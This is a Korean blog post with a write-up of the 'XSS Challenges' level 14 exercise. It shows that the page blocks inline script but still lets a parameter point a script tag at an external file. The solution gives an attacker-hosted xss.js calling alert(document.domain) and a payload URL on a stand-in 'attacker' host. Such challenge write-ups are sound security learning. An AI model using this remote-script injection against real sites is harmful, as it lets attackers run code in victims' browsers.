ν‹°μŠ€ν† λ¦¬ λ·°

CHALLENGE

XSS Challenges 14

🌧: 2021. 8. 31.

14λ‹¨κ³„λΆ€ν„°λŠ” μ‘°κΈˆμ”© λ‚œμ΄λ„κ°€ μ˜¬λΌκ°€λŠ” κ²ƒμœΌλ‘œ λ³΄μž…λ‹ˆλ‹€. 메인 νŽ˜μ΄μ§€μ—λŠ” λ‹€μ†Œ μ‹¬ν”Œν•œ λ””μžμΈμ„ 가지고 μžˆκΈ°μ— μ†ŒμŠ€λ₯Ό λ³΄λ©΄μ„œ 뢄석을 해보도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€.

 

λ³΄μ΄λŠ” ν¬μΈνŠΈκ°€ λ”± 2곳이 ν™•μΈλ©λ‹ˆλ‹€. μ²«λ²ˆμ§ΈλŠ” analytics.js.js λΆ€λΆ„κ³Ό try_harder λ³€μˆ˜μž…λ‹ˆλ‹€.

 

슀크둀 제일 ν•˜λ‹¨μœΌλ‘œ 내렀보면 analytics.js 파일이 ν•˜λ‚˜ 더 μ‘΄μž¬ν•©λ‹ˆλ‹€.

 

3번째 μ€„μ˜ analytics.js.jsλŠ” μœ νš¨ν•˜μ§€ μ•Šμ€ 경둜이며 슀크둀 제일 ν•˜λ‹¨μ—λŠ” μœ νš¨ν•œ κ²½λ‘œκ°€ μž…λ ₯λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€.

 

 μž…λ ₯ν•˜κ³ μž ν•˜λŠ” νŒŒλΌλ―Έν„°μ˜ 값을 λͺ¨λ‘ μ œκ±°ν•΄λ³΄λ©΄ src에 λΆ€μ—¬λœ κ²½λ‘œλŠ” μ œκ±°λ˜μ–΄ μžˆμ§€λ§Œ. jsλŠ” κ³ μ •μ μœΌλ‘œ 남아 μžˆμŠ΅λ‹ˆλ‹€.

 

μž…λ ₯ κ°’ 검증은 μ–΄λ–»κ²Œ μ§„ν–‰λ˜λ‚˜ 확인해보면 ꡉμž₯히 νƒ€μ΄νŠΈν•˜κ²Œ κ²€μ¦ν•˜κ³  μžˆμ–΄ μž„μ˜ μžλ°”μŠ€ν¬λ¦½νŠΈ ꡬ문을 μ‚½μž…ν•˜μ—¬ μ‹€ν–‰μ‹œν‚¬ 수 μ—†μŠ΅λ‹ˆλ‹€.

 

<xss.js>
window.addEventListener("load", function() { alert(document.domain);});

<Payload>
http://attacker/xss(.jsλŠ” κ³ μ •λ˜μ–΄μžˆμŒ)

.js ν™•μž₯μžκ°€ κ³ μ •λ˜μ–΄ 있고 μŠ€ν¬λ¦½νŠΈκ°€ μ‚½μž…λœ μ™ΈλΆ€ νŒŒμΌμ„ include μ‹œμΌœμ•Όκ² λ‹€ λΌλŠ” 생각을 ν•˜κ³  μžˆμ—ˆλ‹€λ©΄ 사싀상 μ–΄λ €μš΄λ¬Έμ œμ— μ†ν•˜μ§„ μ•ŠλŠ”κ²ƒ κ°™λ„€μš”.

 

이 문제의 핡심은 μž…λ ₯ κ°’ 검증을 μ•ˆμ „ν•˜κ²Œ ν•„ν„°λ§λ§Œ ν•˜κ³  μ™ΈλΆ€ λ¦¬μ†ŒμŠ€μ˜ iclude에 λŒ€ν•œ 정책은 μ‘΄μž¬ν•˜μ§€ μ•Šμ•„ μž„μ˜ 슀크립트 ꡬ문을 μ‚½μž…ν•˜μ—¬ μ‚¬μš©μžλ₯Ό μΉ¨ν•΄ν•  수 μžˆλ‹€ 둜 λ³΄μ‹œλ©΄ λ˜κ² μŠ΅λ‹ˆλ‹€.

'CHALLENGE' μΉ΄ν…Œκ³ λ¦¬μ˜ λ‹€λ₯Έ κΈ€

XSS Challenges 13  (0) 2021.08.29
XSS Challenges 12  (0) 2021.08.28
XSS Challenges 11  (0) 2021.08.27
XSS Challenges 10  (0) 2021.08.26
XSS Challenges 9  (0) 2021.08.25
κ³΅μœ ν•˜κΈ° 링크
Comment